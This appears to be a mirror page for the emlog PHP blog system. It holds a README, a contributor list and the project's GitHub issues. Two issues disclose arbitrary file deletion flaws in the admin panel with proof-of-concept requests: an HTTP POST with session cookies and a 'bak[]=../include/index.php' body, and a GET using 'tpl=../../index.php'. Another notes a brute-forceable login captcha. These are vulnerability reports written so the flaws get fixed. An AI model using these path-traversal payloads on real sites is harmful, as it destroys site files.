Giter VIP home page Giter VIP logo

emlog's Introduction

emlog

快速稳定的轻量级博客及CMS建站系统,打造好用的云端内容管理系统。

GitHub release GitHub last commit

功能简介

  • Markdown编辑器:内置Markdown编辑器,并自动保存,使创作过程更加舒适和高效。
  • 多用户角色:支持多种用户角色,同时提供用户注册和登录功能,方便读者和作者的互动。
  • 多媒体资源管理器:内置多媒体资源管理器,方便上传、管理图片、音频、视频和文件等各种媒体资源。
  • 模板主题:应用商店提供多种模板主题,轻松打造独具个性的站点。
  • 插件生态:拥有强大的插件扩展系统,快速扩展站点功能,满足特定需求。
  • 强大的SEO功能:支持文章URL自定义、站点及分类页的TDK定制,有助于提升站点在搜索引擎中的可见性。
  • 自定义侧边栏管理:提供灵活的侧边栏组件管理。
  • 自定义页面:支持创建自定义页面,包括留言板、个人介绍等,帮助你打造更富有个性和功能的站点。
  • 标签和分类:文章可轻松归类和标记,提供更好的信息组织和检索功能。

环境要求

  • PHP5.6、PHP7、PHP8,推荐7.4及以上
  • MySQL5.6及以上,或者 MariaDB 10.3及以上
  • 服务器环境推荐:Linux + Nginx

安装部署

快速开始(Docker)

$ docker run --name emlog-pro -p 8080:80 -d emlog/emlog:pro-latest-php7.4-apache

Start via docker-compose

  1. cp config.sample.php config.php
  2. docker network create emlog_network
  3. docker-compose up
  4. http://localhost:8080

授权协议

发布Emlog软件所依据的许可证是自由软件基金会的GPLv3(或更高版本):LICENSE

emlog's People

Contributors

assassin0905 avatar baiqiang avatar codersclub avatar colt-evil avatar dujiulun avatar emlog avatar jaeheng avatar johnlui avatar kohunglee avatar malagebe avatar mr-xn avatar passwa11 avatar rodots avatar utfx0150 avatar vibbow avatar xf-store avatar xiyanxy avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

emlog's Issues

jQuery is duplicated

At the moment jQuery is placed twice in the emlog:

  1. admin/views/js/jquery.min.3.5.1.js
  2. content/templates/default/js/jquery.min.3.5.1.js

It would be nice to store jQuery only once, i.e. in the common assets folder:
BLOG_URL/assets/jquery.min.3.5.1.js

Goodbye echo!

Programming style recommendations PSR-1 recommends using the short tag "<?=" instead of the long expression "<?php echo".
I suggest using "<?=" throughout all templates. This will make your code cleaner and prettier.

建议弄个自定义字段

写个小功能,能在数据表emlog_blog中自定义添加字段,可以在后台的系统分页中开辟一个“开发者”的小分页放进去

EMLOG大数据量下的性能问题

评论部分
发现一些存在全表扫描的低性能语句,评论较多(1W+)和多站点高并发时会导致mysql的io压力升高
SELECT gid FROM emlog_comment where hide='y';
SELECT cid FROM emlog_comment WHERE hide='n';
SELECT * FROM emlog_comment as a where 1=1 and a.gid=2 and a.hide='n' ORDER BY a.date ASC;

卡片笔记/微语 错误

未登录用户/游客 前端访问 /t/ SQL报错

include\model\twitter_model.php:pro

include\model\twitter_model.php:5.3.1

未登录用户/游客不存在 UID ,希望修复此功能。

分类字段的设计问题

http://bbs.emlog.net/thread-33370-1-1.html
已经有用户创建大量的分类遇到问题
目前分类字段都用的是有符号的tinyint类型,默认值为-1,如果用户的分类个数超过127个那么就无法继续添加了,为一个 -1 浪费tinyint的127值有点没有必要,可以考虑将无分类定位0而不是-1,将分类字段修改为无符号的tinyint可以支持255的分类个数,应该是足够用了。

emlog has any file deletion vulnerability

vulnerability in admin/data.php line 139:

if ($action == 'dell_all_bak') {
    if (!isset($_POST['bak'])) {
        emDirect('./data.php?error_a=1');
    } else{
        foreach ($_POST['bak'] as $val) {
            unlink($val);
        }
        emDirect('./data.php?active_del=1');
    }
}

post any filepath as "bak" , will delete it.
Login management background and view /admin/data.php?action=dell_all_bak
POST bak=anyfile,like ../index.php something.
POC:

Host: 127.0.0.1
Content-Length: 28
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://127.0.0.1/emlog/admin/data.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: page_iframe_url=http://127.0.0.1/metinfo/index.php?lang=cn&pageset=1; pgv_pvi=3037471744; PHPSESSID=u91v66ktst9vrva3ueb6333kt2; EM_AUTHCOOKIE_WtaQDRqaTBRof8EENT0LY3HNhJzryEPL=admin%7C%7Ce4739a735508976ba1d54ac95a78be3b; EM_TOKENCOOKIE_55cd567609038eefc9aaa8c1c0e141e1=d0025af7e912a4cc8b114e2f6cda6597
Connection: close

bak%5B%5D=../include/index.php

Ignore .gitignore

I want to add my own ignored files into the .gitignore files, but I can not do that because of this file is included into the git index :(

It would be nice to remove .gitignore from the repository. but add a .gitignore.sample file.
This solution would allow each developer to add their own files to the ignore list.

模版、插件下载后临时文件没有清理

模版、插件下载后会在/tmp目录生成许多诸如
emtemp_nPLfdU
emtemp_Qw00qK
这样的临时文件,对于长时间不重启的服务器来说如果大量emlog安装大量插件会导致占用过多的磁盘空间。需要在代码中加入清理逻辑。

pro版本

您好,没注册不可以发文章吗

#upgrade 标签SQL数据错误

在标签SQL处理过程中,增加标签SQL进行了编码转换,在输出时并未进行相关处理,请优化。

错误推送步骤:在标签栏目中增加“”/\等字符串即出现

emlog 6.0安装问题反馈

emlog 6.0安装后 后台登录页面和登录后的页面显示不完整

访问首页也是不完整的(如图)
1

emlog discover any file deletion vulnerability again!

vulnerability in admin/template.php line 67:
`if ($action == 'del')
{
LoginAuth::checkToken();
$tplName = isset($_GET['tpl']) ? addslashes($_GET['tpl']) : '';

$nonce_templet = Option::get('nonce_templet');
if ($tplName === $nonce_templet)
{
    emMsg('您不能删除正在使用的模板');
}

if (true === emDeleteFile(TPLS_PATH . $tplName)) {
    emDirect("./template.php?activate_del=1#tpllib");
} else {
    emDirect("./template.php?error_a=1#tpllib");
}

}`

if (true === emDeleteFile(TPLS_PATH . $tplName))
tracking emDeleteFile function:
function emDeleteFile($file) { if (empty($file)) return false; if (@is_file($file)) return @unlink($file); $ret = true; if ($handle = @opendir($file)) { while ($filename = @readdir($handle)) { if ($filename == '.' || $filename == '..') continue; if (!emDeleteFile($file . '/' . $filename)) $ret = false; } } else { $ret = false; } @closedir($handle); if (file_exists($file) && !rmdir($file)) { $ret = false; } return $ret; }
Unrestricted character “../”
Login management background and view /admin/template.php?action=del&tpl=../../index.php&token=U login token!
POC:
/emlog/admin/template.php?action=del&tpl=../../index.php&token={U login token}

#demand header 取消 module.php 加载

希望将此文件加载判断加入到 init.php 中进行判断处理

function resume_theme($theme){
	if( !is_dir( TPLS_PATH . $theme ."/functions.php" ) ){
		ob_start();
		include( TPLS_PATH . $theme ."/functions.php");
		ob_clean();
	}
}
resume_theme( Option::get('nonce_templet') );

官网下的5.3.1版本包存在问题

snip20160203_6

安装后直接使用,会出现如上错误。

解决办法

/src/include/lib/cache.php 的195行

194 while($row = $this->db->fetch_array($query)) {
195 $$row['option_name'] = $row['option_value'];
196 }
197 $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "comment WHERE hide='n' ORDER BY date DESC LIMIT 0, $index_comnum");

中的195行,改为: ${$row['option_name']} = $row['option_value'];

系统环境

~  ᐅ php -v
PHP 7.0.2 (cli) (built: Jan  7 2016 10:40:26) ( NTS )
Copyright (c) 1997-2015 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2015 Zend Technologies

~  ᐅ uname -a
Darwin Snail 15.3.0 Darwin Kernel Version 15.3.0: Thu Dec 10 18:40:58 PST 2015; root:xnu-3248.30.4~1/RELEASE_X86_64 x86_64

架构及功能改进想法

架构改进:

  • 前后台完全OO + MVC化处理.
  • 引入Request对象统一处理请求。
  • 引入Response对象统一处理输出。
  • 引入View对象统一处理模板。
  • 缓存采取多接口设计,让EMLOG支持文件、memcached等其他形式缓存接口。
  • 数据库采取接口设计,让EMLOG支持Mysql, Mysqli, PDO, sqlite等数据库驱动。
  • 数据库ORM访问支持.
  • 文件读写采用多接口设计,支持普通文件、SAE、BAE等文件接口。
  • 内核钩子采用对象形式实现 EMHook::addAction('new_post', 'my_hook');。
  • 放弃PHP5.2, 内核类采用PHP5.3开始支持的命名空间,统一文件路径目录(系统类,模板,插件)。
  • 系统级类自动加载系统,规范各种文件的路径及格式,无需手动加载。
  • 内核支持错误日志系统。
  • 程序404,500等页面由内核输出。

功能改进:

  • 用户系统,用户组及权限。
  • 更多级分类。
  • 更强大的附件管理:附件库,附件访问权限控制,附件下载控制。
  • 站点全部URL自定义。
  • 内核支持生成静态页面。
  • 更多的事件钩子。
  • 更好的SEO优化。
  • 加入数据钩子,方便插件处理数据。
  • 数据/事件钩子支持设定优先级。
  • 更好的移动客户端支持(前,后台)
  • 定时任务(发布日志、数据备份等)
  • 在线升级系统。

Make Emlog MultiLingual

Hi friends!
Many years I'm watching the Emlog with a great interest.
I offer to convert Emlog from Single-lingual to Multi-lingual.
I think such version will be quite interesting for many users.

For example:
My English demo version: http://codersclub.org/emlog/
There is no problem to add any other language.
I.e. at my localhost I have Chinese + English + Russian language packs installed together.

My current code repository: https://bitbucket.org/vot/emlog
Let's work together!

Emlog Pro Multilingual

Hi dear friends!
I am glad to inform you that the multilingual version of Emlog Pro is still alive and developing in sync with the original version.
The Emlog Pro ML repository is hosted at sourceforge: https://sourceforge.net/p/emlog-ml/

FYI: My previous message about Emlog ML was posted here 7 years ago:
#27

用户信息读取bug

bug表现:
删除默认管理员之后侧边栏blogger不显示,所有管理员发布的文章都无法显示作者并有notice错误
分析:

  1. 模版的blog_author函数从缓存中读取用户时并没有严格判断用户是否存在就直接读取数据。
  2. 模版的widget_blogger函数默认读取的是id为1的管理员,如果id为1管理员账号有变动(被删除,变成作者)那么显示的逻辑都不正确。
    引申功能问题:
    在多个管理员存在的情况下将谁作为默认Blogger显示?

EMLOG 后台登录问题

1.EMLOG的登录失败提示功能,一个合格的登录系统不应该暴露帐户是否存在,容易被人暴力破解。账号或密码错误应该一致提示:账号或密码错误。

2.后台登录验证码可爆破,相当于摆设可被hack恶心爆破

修复方法在/admin/globals.php 第33行else后新增 unset($_SESSION['code']);

每判断一次,如果抛出错误就销毁$_SESSION['code'],只要出现密码错误一次后,就自动销毁了$_SESSION['code'],

emlog5.3.1安装后SQL报错:SELECT * FROM emlogg_comment WHERE hide='n' ORDER BY date DESC LIMIT 0,

安装完报过一次错,之后发完文章都会报错、发表评论、删除评论都会跳转到报错页面,模板的最新评论、最新文章、及最新微语模块也会显示同样的报错,另外微语发出之后是空白的没有任何字,找了很久发现不是模块的问题。
SQL语句执行错误:SELECT * FROM emlogg_comment WHERE hide='n' ORDER BY date DESC LIMIT 0,
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

getMonthDayNum 函数需要手动类型转换

/include/lib/function.base.php 文件里的 getMonthDayNum($month, $year) 函数接收两个参数。

在之后的参数使用过程中 [array_key_exists],直接假定了传进来的参数是 Int 类型。
但是实际上传进来的参数是 String 类型,并且月份是有前导0的。

比如说在日志存档功能查询 201101 ,实际上传进来的参数是 "01" 和 "2011"
而直接用 "01" 去做 array_key_exists 匹配,就无法匹配上。
导致直接返回了后续判定的 2 月份的 28天,从而导致日志归档功能有些日志无法显示。

同时闰年的算法也有问题。
需要先判定年份是否能被100整除。
能被100整除的年份,需要同时能被400整除才算是闰年。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.